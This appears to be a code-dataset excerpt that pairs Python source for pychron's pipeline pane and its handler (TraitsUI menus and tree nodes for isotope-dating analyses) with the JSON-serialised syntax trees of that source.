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class PipelineHandlerMeta(MetaHasTraits): def __new__(cls, *args, **kwargs): klass = MetaHasTraits.__new__(cls, *args, **kwargs) for t in ('review', 'pdf_figure', 'iso_evo_persist', 'data', 'filter', 'mswd_filter', 'ideogram', 'spectrum', 'series', 'isotope_evolution', 'blanks', 'detector_ic', 'flux', 'find_blanks', 'find_airs', 'icfactor', 'push', 'audit', 'inverse_isochron', 'grouping', 'graph_grouping', 'subgrouping', 'set_interpreted_age', 'interpreted_ages'): name = 'add_{}'.format(t) setattr(klass, name, node_adder(name)) for c in ('isotope_evolution', 'blanks', 'ideogram', 'spectrum', 'icfactors'): name = 'chain_{}'.format(c) setattr(klass, name, node_adder(name)) return klass
881
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"update_needed", "value": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "object", "value": {"_type": "Name", "_fields": {"id": "info", "ctx": {"_type": "Load", "_fields": {}}}}}}}}], "type_comment": null}}], "name": "_toggle_enable", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "name": "PipelineHandler", "bases": [{"_type": "Call", "_fields": {"args": [{"_type": "Name", "_fields": {"id": "PipelineHandlerMeta", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "Handler", "ctx": {"_type": "Load", "_fields": {}}}}], "func": {"_type": "Attribute", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "attr": "with_metaclass", "value": {"_type": "Name", "_fields": {"id": "six", "ctx": {"_type": "Load", "_fields": {}}}}}}, "keywords": []}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class PipelineHandler(six.with_metaclass(PipelineHandlerMeta, Handler)): def save_template(self, info, obj): info.object.save_pipeline_template() def review_node(self, info, obj): info.object.review_node(obj) def delete_node(self, info, obj): info.object.remove_node(obj) def enable(self, info, obj): self._toggle_enable(info, obj, True) def disable(self, info, obj): self._toggle_enable(info, obj, False) def enable_permanent(self, info, obj): self._toggle_permanent(info, obj, True) def disable_permanent(self, info, obj): self._toggle_permanent(info, obj, False) def toggle_skip_configure(self, info, obj): obj.skip_configure = not obj.skip_configure info.object.update_needed = True def configure(self, info, obj): info.object.configure(obj) def move_up(self, info, obj): info.object.pipeline.move_up(obj) info.object.selected = obj def move_down(self, info, obj): info.object.pipeline.move_down(obj) info.object.selected = obj def _toggle_permanent(self, info, obj, state): info.object.set_review_permanent(state) self._toggle_enable(info, obj, state) def _toggle_enable(self, info, obj, state): obj.enabled = state info.object.refresh_all_needed = True info.object.update_needed = True
882
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def __new__(cls, *args, **kwargs): klass = MetaHasTraits.__new__(cls, *args, **kwargs) for t in ('review', 'pdf_figure', 'iso_evo_persist', 'data', 'filter', 'mswd_filter', 'ideogram', 'spectrum', 'series', 'isotope_evolution', 'blanks', 'detector_ic', 'flux', 'find_blanks', 'find_airs', 'icfactor', 'push', 'audit', 'inverse_isochron', 'grouping', 'graph_grouping', 'subgrouping', 'set_interpreted_age', 'interpreted_ages'): name = 'add_{}'.format(t) setattr(klass, name, node_adder(name)) for c in ('isotope_evolution', 'blanks', 'ideogram', 'spectrum', 'icfactors'): name = 'chain_{}'.format(c) setattr(klass, name, node_adder(name)) return klass
883
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10
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{"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "PipelineEditor", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "nodes", "value": {"_type": "Name", "_fields": {"id": "nodes", "ctx": {"_type": "Load", "_fields": {}}}}}}, {"_type": "keyword", "_fields": {"arg": "editable", "value": {"_type": "Constant", "_fields": {"kind": null, "value": false}}}}, {"_type": "keyword", "_fields": {"arg": "selected", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "selected"}}}}, {"_type": "keyword", "_fields": {"arg": "dclick", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "dclicked"}}}}, {"_type": "keyword", "_fields": {"arg": "hide_root", "value": {"_type": "Constant", "_fields": {"kind": null, "value": true}}}}, {"_type": "keyword", "_fields": {"arg": "lines_mode", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "off"}}}}, {"_type": "keyword", "_fields": {"arg": "show_disabled", "value": {"_type": "Constant", "_fields": {"kind": null, "value": true}}}}, {"_type": "keyword", "_fields": {"arg": "refresh_all_icons", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "refresh_all_needed"}}}}, {"_type": "keyword", "_fields": {"arg": "update", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "update_needed"}}}}]}}, "targets": [{"_type": "Name", "_fields": {"id": "editor", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "Assign", "_fields": {"value": {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "TreeNode", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "node_for", "value": {"_type": "List", "_fields": {"ctx": {"_type": "Load", "_fields": {}}, "elts": [{"_type": "Name", "_fields": {"id": "PipelineTemplateRoot", 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"ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "editor", "value": {"_type": "Name", "_fields": {"id": "teditor", "ctx": {"_type": "Load", "_fields": {}}}}}}]}}, {"_type": "Call", "_fields": {"args": [{"_type": "Call", "_fields": {"args": [{"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "run_needed"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "start"}}], "func": {"_type": "Name", "_fields": {"id": "icon_button_editor", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "visible_when", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "run_enabled"}}}}]}}, {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "run_needed"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "edit-redo-3"}}], "func": {"_type": "Name", "_fields": {"id": "icon_button_editor", "ctx": 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"func": {"_type": "Name", "_fields": {"id": "VGroup", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}], "func": {"_type": "Name", "_fields": {"id": "VSplit", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}], "func": {"_type": "Name", "_fields": {"id": "View", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "handler", "value": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "PipelineHandler", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}}}]}}, "targets": [{"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "Return", "_fields": {"value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}], "name": "traits_view", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
def traits_view(self): def enable_disable_menu_factory(): return MenuManager(Action(name='Enable', action='enable', visible_when='not object.enabled'), Action(name='Disable', action='disable', visible_when='object.enabled'), Action(name='Enable Permanent', action='enable_permanent', visible_when='not object.enabled'), Action(name='Disable Permanent', action='disable_permanent', visible_when='object.enabled'), name='Enable/Disable') def menu_factory(*actions): return MenuManager(Action(name='Configure', action='configure'), Action(name='Enable Auto Configure', action='toggle_skip_configure', visible_when='object.skip_configure'), Action(name='Disable Auto Configure', action='toggle_skip_configure', visible_when='not object.skip_configure'), Action(name='Move Up', action='move_up'), Action(name='Move Down', action='move_down'), Action(name='Delete', action='delete_node'), Action(name='Save Template', action='save_template'), *actions) def add_menu_factory(): fig_menu = MenuManager(Action(name='Add Inverse Isochron', action='add_inverse_isochron'), Action(name='Add Ideogram', action='add_ideogram'), Action(name='Add Spectrum', action='add_spectrum'), Action(name='Add Series', action='add_series'), name='Figure', ) grp_menu = MenuManager(Action(name='Add Grouping', action='add_grouping'), Action(name='Add Graph Grouping', action='add_graph_grouping'), Action(name='Add SubGrouping', action='add_subgrouping'), name='Grouping') filter_menu = MenuManager(Action(name='Add Filter', action='add_filter'), Action(name='Add MSWD Filter', action='add_mswd_filter'), name='Filter') return MenuManager(Action(name='Add Unknowns', action='add_data'), Action(name='Add Interpreted Ages', action='add_interpreted_ages'), grp_menu, filter_menu, fig_menu, Action(name='Add Set IA', action='add_set_interpreted_age'), Action(name='Add Review', action='add_review'), Action(name='Add Audit', action='add_audit'), Action(name='Add Push'), name='Add') def fit_menu_factory(): return MenuManager(Action(name='Isotope Evolution', action='add_isotope_evolution'), Action(name='Blanks', action='add_blanks'), Action(name='IC Factor', action='add_icfactor'), Action(name='Detector IC', enabled=False, action='add_detector_ic'), Action(name='Flux', enabled=False, action='add_flux'), name='Fit') def save_menu_factory(): return MenuManager(Action(name='Save PDF Figure', action='add_pdf_figure'), Action(name='Save Iso Evo', action='add_iso_evo_persist'), Action(name='Save Blanks', action='add_blanks_persist'), Action(name='Save ICFactor', action='add_icfactor_persist'), name='Save') def find_menu_factory(): return MenuManager(Action(name='Blanks', action='add_find_blanks'), Action(name='Airs', action='add_find_airs'), name='Find') def chain_menu_factory(): return MenuManager(Action(name='Chain Ideogram', action='chain_ideogram'), Action(name='Chain Isotope Evolution', action='chain_isotope_evolution'), Action(name='Chain Spectrum', action='chain_spectrum'), Action(name='Chain Blanks', action='chain_blanks'), Action(name='Chain ICFactors', action='chain_icfactors'), name='Chain') # ------------------------------------------------ def data_menu_factory(): return menu_factory(enable_disable_menu_factory(), add_menu_factory(), fit_menu_factory(), chain_menu_factory(), find_menu_factory()) def filter_menu_factory(): return menu_factory(enable_disable_menu_factory(), add_menu_factory(), fit_menu_factory(), chain_menu_factory()) def figure_menu_factory(): return menu_factory(enable_disable_menu_factory(), add_menu_factory(), fit_menu_factory(), chain_menu_factory(), save_menu_factory()) def ffind_menu_factory(): return menu_factory(Action(name='Review', action='review_node'), enable_disable_menu_factory(), add_menu_factory(), fit_menu_factory()) nodes = [PipelineGroupTreeNode(node_for=[PipelineGroup], children='pipelines', auto_open=True), PipelineTreeNode(node_for=[Pipeline], children='nodes', icon_open='', label='name', auto_open=True), NodeGroupTreeNode(node_for=[NodeGroup], children='nodes', auto_open=True, label='name'), DataTreeNode(node_for=[DataNode, InterpretedAgeNode], menu=data_menu_factory()), FilterTreeNode(node_for=[FilterNode, MSWDFilterNode], menu=filter_menu_factory()), IdeogramTreeNode(node_for=[IdeogramNode], menu=figure_menu_factory()), SpectrumTreeNode(node_for=[SpectrumNode], menu=figure_menu_factory()), SeriesTreeNode(node_for=[SeriesNode], menu=figure_menu_factory()), PDFTreeNode(node_for=[PDFNode], menu=menu_factory()), GroupingTreeNode(node_for=[GroupingNode, SubGroupingNode], menu=data_menu_factory()), DBSaveTreeNode(node_for=[DVCPersistNode], menu=data_menu_factory()), FindTreeNode(node_for=[FindReferencesNode, FindFluxMonitorsNode], menu=ffind_menu_factory()), FitTreeNode(node_for=[FitIsotopeEvolutionNode, FitICFactorNode, FitBlanksNode, FitFluxNode], menu=ffind_menu_factory()), ReviewTreeNode(node_for=[ReviewNode], menu=enable_disable_menu_factory()), PipelineTreeNode(node_for=[BaseNode], label='name')] editor = PipelineEditor(nodes=nodes, editable=False, selected='selected', dclick='dclicked', hide_root=True, lines_mode='off', show_disabled=True, refresh_all_icons='refresh_all_needed', update='update_needed') tnodes = [TreeNode(node_for=[PipelineTemplateRoot], children='groups'), TemplateTreeNode(node_for=[PipelineTemplateGroup], label='name', children='templates'), TemplateTreeNode(node_for=[PipelineTemplate, ], label='name')] teditor = TreeEditor(nodes=tnodes, editable=False, selected='selected_pipeline_template', dclick='dclicked_pipeline_template', hide_root=True, lines_mode='off') v = View(VSplit(UItem('pipeline_template_root', editor=teditor), VGroup(HGroup(icon_button_editor('run_needed', 'start', visible_when='run_enabled'), icon_button_editor('run_needed', 'edit-redo-3', visible_when='resume_enabled'), icon_button_editor('add_pipeline', 'add')), UItem('pipeline_group', editor=editor))), handler=PipelineHandler()) return v
884
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11
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"Name", "_fields": {"id": "tnodes", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "Assign", "_fields": {"value": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "TreeEditor", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "nodes", "value": {"_type": "Name", "_fields": {"id": "tnodes", "ctx": {"_type": "Load", "_fields": {}}}}}}, {"_type": "keyword", "_fields": {"arg": "editable", "value": {"_type": "Constant", "_fields": {"kind": null, "value": false}}}}, {"_type": "keyword", "_fields": {"arg": "selected", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "selected_pipeline_template"}}}}, {"_type": "keyword", "_fields": {"arg": "dclick", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "dclicked_pipeline_template"}}}}, {"_type": "keyword", "_fields": {"arg": "hide_root", "value": {"_type": "Constant", "_fields": {"kind": null, "value": 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"_fields": {"kind": null, "value": "start"}}], "func": {"_type": "Name", "_fields": {"id": "icon_button_editor", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "visible_when", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "run_enabled"}}}}]}}, {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "run_needed"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "edit-redo-3"}}], "func": {"_type": "Name", "_fields": {"id": "icon_button_editor", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "visible_when", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "resume_enabled"}}}}]}}, {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "add_pipeline"}}, {"_type": "Constant", "_fields": {"kind": null, "value": "add"}}], "func": {"_type": "Name", "_fields": {"id": "icon_button_editor", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}], "func": {"_type": "Name", "_fields": {"id": "HGroup", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}, {"_type": "Call", "_fields": {"args": [{"_type": "Constant", "_fields": {"kind": null, "value": "pipeline_group"}}], "func": {"_type": "Name", "_fields": {"id": "UItem", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "editor", "value": {"_type": "Name", "_fields": {"id": "editor", "ctx": {"_type": "Load", "_fields": {}}}}}}]}}], "func": {"_type": "Name", "_fields": {"id": "VGroup", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}], "func": {"_type": "Name", "_fields": {"id": "VSplit", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}], "func": {"_type": "Name", "_fields": {"id": "View", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "handler", "value": {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "PipelineHandler", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": []}}}}]}}, "targets": [{"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "Return", "_fields": {"value": {"_type": "Name", "_fields": {"id": "v", "ctx": {"_type": "Load", "_fields": {}}}}}}], "name": "traits_view", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "name": "PipelinePane", "bases": [{"_type": "Name", "_fields": {"id": "TraitsDockPane", "ctx": {"_type": "Load", "_fields": {}}}}], "keywords": [], "type_params": [], "decorator_list": []}}], "type_ignores": []}}
class PipelinePane(TraitsDockPane): name = 'Pipeline' id = 'pychron.pipeline.pane' def traits_view(self): def enable_disable_menu_factory(): return MenuManager(Action(name='Enable', action='enable', visible_when='not object.enabled'), Action(name='Disable', action='disable', visible_when='object.enabled'), Action(name='Enable Permanent', action='enable_permanent', visible_when='not object.enabled'), Action(name='Disable Permanent', action='disable_permanent', visible_when='object.enabled'), name='Enable/Disable') def menu_factory(*actions): return MenuManager(Action(name='Configure', action='configure'), Action(name='Enable Auto Configure', action='toggle_skip_configure', visible_when='object.skip_configure'), Action(name='Disable Auto Configure', action='toggle_skip_configure', visible_when='not object.skip_configure'), Action(name='Move Up', action='move_up'), Action(name='Move Down', action='move_down'), Action(name='Delete', action='delete_node'), Action(name='Save Template', action='save_template'), *actions) def add_menu_factory(): fig_menu = MenuManager(Action(name='Add Inverse Isochron', action='add_inverse_isochron'), Action(name='Add Ideogram', action='add_ideogram'), Action(name='Add Spectrum', action='add_spectrum'), Action(name='Add Series', action='add_series'), name='Figure', ) grp_menu = MenuManager(Action(name='Add Grouping', action='add_grouping'), Action(name='Add Graph Grouping', action='add_graph_grouping'), Action(name='Add SubGrouping', action='add_subgrouping'), name='Grouping') filter_menu = MenuManager(Action(name='Add Filter', action='add_filter'), Action(name='Add MSWD Filter', action='add_mswd_filter'), name='Filter') return MenuManager(Action(name='Add Unknowns', action='add_data'), Action(name='Add Interpreted Ages', action='add_interpreted_ages'), grp_menu, filter_menu, fig_menu, Action(name='Add Set IA', action='add_set_interpreted_age'), Action(name='Add Review', action='add_review'), Action(name='Add Audit', action='add_audit'), Action(name='Add Push'), name='Add') def fit_menu_factory(): return MenuManager(Action(name='Isotope Evolution', action='add_isotope_evolution'), Action(name='Blanks', action='add_blanks'), Action(name='IC Factor', action='add_icfactor'), Action(name='Detector IC', enabled=False, action='add_detector_ic'), Action(name='Flux', enabled=False, action='add_flux'), name='Fit') def save_menu_factory(): return MenuManager(Action(name='Save PDF Figure', action='add_pdf_figure'), Action(name='Save Iso Evo', action='add_iso_evo_persist'), Action(name='Save Blanks', action='add_blanks_persist'), Action(name='Save ICFactor', action='add_icfactor_persist'), name='Save') def find_menu_factory(): return MenuManager(Action(name='Blanks', action='add_find_blanks'), Action(name='Airs', action='add_find_airs'), name='Find') def chain_menu_factory(): return MenuManager(Action(name='Chain Ideogram', action='chain_ideogram'), Action(name='Chain Isotope Evolution', action='chain_isotope_evolution'), Action(name='Chain Spectrum', action='chain_spectrum'), Action(name='Chain Blanks', action='chain_blanks'), Action(name='Chain ICFactors', action='chain_icfactors'), name='Chain') # ------------------------------------------------ def data_menu_factory(): return menu_factory(enable_disable_menu_factory(), add_menu_factory(), fit_menu_factory(), chain_menu_factory(), find_menu_factory()) def filter_menu_factory(): return menu_factory(enable_disable_menu_factory(), add_menu_factory(), fit_menu_factory(), chain_menu_factory()) def figure_menu_factory(): return menu_factory(enable_disable_menu_factory(), add_menu_factory(), fit_menu_factory(), chain_menu_factory(), save_menu_factory()) def ffind_menu_factory(): return menu_factory(Action(name='Review', action='review_node'), enable_disable_menu_factory(), add_menu_factory(), fit_menu_factory()) nodes = [PipelineGroupTreeNode(node_for=[PipelineGroup], children='pipelines', auto_open=True), PipelineTreeNode(node_for=[Pipeline], children='nodes', icon_open='', label='name', auto_open=True), NodeGroupTreeNode(node_for=[NodeGroup], children='nodes', auto_open=True, label='name'), DataTreeNode(node_for=[DataNode, InterpretedAgeNode], menu=data_menu_factory()), FilterTreeNode(node_for=[FilterNode, MSWDFilterNode], menu=filter_menu_factory()), IdeogramTreeNode(node_for=[IdeogramNode], menu=figure_menu_factory()), SpectrumTreeNode(node_for=[SpectrumNode], menu=figure_menu_factory()), SeriesTreeNode(node_for=[SeriesNode], menu=figure_menu_factory()), PDFTreeNode(node_for=[PDFNode], menu=menu_factory()), GroupingTreeNode(node_for=[GroupingNode, SubGroupingNode], menu=data_menu_factory()), DBSaveTreeNode(node_for=[DVCPersistNode], menu=data_menu_factory()), FindTreeNode(node_for=[FindReferencesNode, FindFluxMonitorsNode], menu=ffind_menu_factory()), FitTreeNode(node_for=[FitIsotopeEvolutionNode, FitICFactorNode, FitBlanksNode, FitFluxNode], menu=ffind_menu_factory()), ReviewTreeNode(node_for=[ReviewNode], menu=enable_disable_menu_factory()), PipelineTreeNode(node_for=[BaseNode], label='name')] editor = PipelineEditor(nodes=nodes, editable=False, selected='selected', dclick='dclicked', hide_root=True, lines_mode='off', show_disabled=True, refresh_all_icons='refresh_all_needed', update='update_needed') tnodes = [TreeNode(node_for=[PipelineTemplateRoot], children='groups'), TemplateTreeNode(node_for=[PipelineTemplateGroup], label='name', children='templates'), TemplateTreeNode(node_for=[PipelineTemplate, ], label='name')] teditor = TreeEditor(nodes=tnodes, editable=False, selected='selected_pipeline_template', dclick='dclicked_pipeline_template', hide_root=True, lines_mode='off') v = View(VSplit(UItem('pipeline_template_root', editor=teditor), VGroup(HGroup(icon_button_editor('run_needed', 'start', visible_when='run_enabled'), icon_button_editor('run_needed', 'edit-redo-3', visible_when='resume_enabled'), icon_button_editor('add_pipeline', 'add')), UItem('pipeline_group', editor=editor))), handler=PipelineHandler()) return v
885
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def menu_factory(*actions): return MenuManager(Action(name='Configure', action='configure'), Action(name='Enable Auto Configure', action='toggle_skip_configure', visible_when='object.skip_configure'), Action(name='Disable Auto Configure', action='toggle_skip_configure', visible_when='not object.skip_configure'), Action(name='Move Up', action='move_up'), Action(name='Move Down', action='move_down'), Action(name='Delete', action='delete_node'), Action(name='Save Template', action='save_template'), *actions)
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def enable_disable_menu_factory(): return MenuManager(Action(name='Enable', action='enable', visible_when='not object.enabled'), Action(name='Disable', action='disable', visible_when='object.enabled'), Action(name='Enable Permanent', action='enable_permanent', visible_when='not object.enabled'), Action(name='Disable Permanent', action='disable_permanent', visible_when='object.enabled'), name='Enable/Disable')
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def fit_menu_factory(): return MenuManager(Action(name='Isotope Evolution', action='add_isotope_evolution'), Action(name='Blanks', action='add_blanks'), Action(name='IC Factor', action='add_icfactor'), Action(name='Detector IC', enabled=False, action='add_detector_ic'), Action(name='Flux', enabled=False, action='add_flux'), name='Fit')
888
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7
{"_type": "Module", "_fields": {"body": [{"_type": "FunctionDef", "_fields": {"args": {"_type": "arguments", "_fields": {"args": [], "kwarg": null, "vararg": null, "defaults": [], "kwonlyargs": [], "kw_defaults": [], "posonlyargs": []}}, "body": [{"_type": "Assign", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add Inverse Isochron"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_inverse_isochron"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", 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{"kind": null, "value": "add_series"}}}}]}}], "func": {"_type": "Name", "_fields": {"id": "MenuManager", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Figure"}}}}]}}, "targets": [{"_type": "Name", "_fields": {"id": "fig_menu", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "Assign", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add Grouping"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_grouping"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add Graph Grouping"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_graph_grouping"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add SubGrouping"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_subgrouping"}}}}]}}], "func": {"_type": "Name", "_fields": {"id": "MenuManager", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Grouping"}}}}]}}, "targets": [{"_type": "Name", "_fields": {"id": "grp_menu", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "Assign", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add Filter"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_filter"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add MSWD Filter"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_mswd_filter"}}}}]}}], "func": {"_type": "Name", "_fields": {"id": "MenuManager", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Filter"}}}}]}}, "targets": [{"_type": "Name", "_fields": {"id": "filter_menu", "ctx": {"_type": "Store", "_fields": {}}}}], "type_comment": null}}, {"_type": "Return", "_fields": {"value": {"_type": "Call", "_fields": {"args": [{"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add Unknowns"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_data"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add Interpreted Ages"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_interpreted_ages"}}}}]}}, {"_type": "Name", "_fields": {"id": "grp_menu", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "filter_menu", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Name", "_fields": {"id": "fig_menu", "ctx": {"_type": "Load", "_fields": {}}}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add Set IA"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_set_interpreted_age"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add Review"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_review"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add Audit"}}}}, {"_type": "keyword", "_fields": {"arg": "action", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "add_audit"}}}}]}}, {"_type": "Call", "_fields": {"args": [], "func": {"_type": "Name", "_fields": {"id": "Action", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add Push"}}}}]}}], "func": {"_type": "Name", "_fields": {"id": "MenuManager", "ctx": {"_type": "Load", "_fields": {}}}}, "keywords": [{"_type": "keyword", "_fields": {"arg": "name", "value": {"_type": "Constant", "_fields": {"kind": null, "value": "Add"}}}}]}}}}], "name": "add_menu_factory", "returns": null, "type_params": [], "type_comment": null, "decorator_list": []}}], "type_ignores": []}}
